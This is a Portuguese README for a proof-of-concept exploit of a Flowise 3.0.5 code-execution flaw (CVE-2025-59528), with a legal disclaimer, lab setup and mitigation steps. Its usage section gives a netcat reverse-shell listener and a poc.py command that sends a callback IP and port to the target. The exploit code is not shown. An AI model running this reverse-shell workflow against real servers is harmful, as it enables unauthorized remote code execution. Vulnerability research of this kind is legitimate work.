CVE-2025-59528 PoC

Prova de Conceito para pesquisar CVE-2025-59528 em um ambiente de laboratório isolado.

[!WARNING] AVISO LEGAL

Este projeto destina-se estritamente a fins educacionais, pesquisa de segurança e testes em sistemas que você possui ou para os quais possui autorização explícita para testar.

Não use este PoC contra servidores de terceiros, serviços públicos ou infraestrutura sem a permissão do proprietário.

O autor não é responsável por quaisquer danos, perda de dados, interrupção de serviço ou consequências legais resultantes do uso indevido deste projeto.

Descrição

Este PoC demonstra o impacto potencial de CVE-2025-59528, uma vulnerabilidade que envolve o processamento de mcpServerConfig controlado pelo usuário no Flowise.

Sob certas condições, a vulnerabilidade pode permitir que um atacante execute código JavaScript arbitrário no contexto do servidor.

Versões Afetadas

• Flowise 3.0.5

Versão Corrigida

• Flowise 3.0.6+

Sempre verifique a versão exata da instalação de destino antes de testar.

Requisitos

• Python 3
• requests
• Uma instância de teste Flowise local ou isolada
• Uma conta autorizada com as permissões necessárias

Instale a dependência Python:

pip install requests

Uso

Execute o netcat para obter um shell:

nc -lvnp <YOUR_PORT>

Execute o PoC com:

python3 poc.py \
    -t http://TARGET:PORT \
    -o api_key \
    -i CALLBACK_IP \
    -p CALLBACK_PORT

Argumentos

Argument	Description
-t, --target	URL da instância de teste Flowise
-o, --api_key	Chave da API
-i, --ip	Endereço IP da máquina de teste
-p, --port	Porta usada pelo ambiente de teste

Configuração do Laboratório

Os testes devem ser realizados dentro de uma rede virtual ou de laboratório isolada.

┌──────────────────┐
│    PoC Machine   │
│                  │
│    Python PoC    │
└────────┬─────────┘
         │
         │ Isolated Network
         │
┌────────▼─────────┐
│   Flowise 3.0.5  │
│   Test Instance  │
└──────────────────┘

Não exponha uma instância do Flowise intencionalmente vulnerável diretamente à Internet pública.

Mitigação

Se você estiver executando uma versão afetada do Flowise:

1. Atualize o Flowise para uma versão corrigida.
2. Restrinja o acesso às APIs administrativas.
3. Evite conceder a usuários não confiáveis permissões necessárias para acessar funcionalidades vulneráveis.
4. Revise os logs do servidor em busca de requisições suspeitas.
5. Repita os testes na instalação após a atualização.

Referências

• CVE: CVE-2025-59528
• Software afetado: Flowise
• Versão corrigida: 3.0.6+

Aviso Legal

Ao usar este projeto, você reconhece que é o único responsável por cumprir todas as leis e regulamentos aplicáveis.

Use este PoC somente contra sistemas que você possui ou sistemas para os quais você possui autorização explícita para realizar testes de segurança.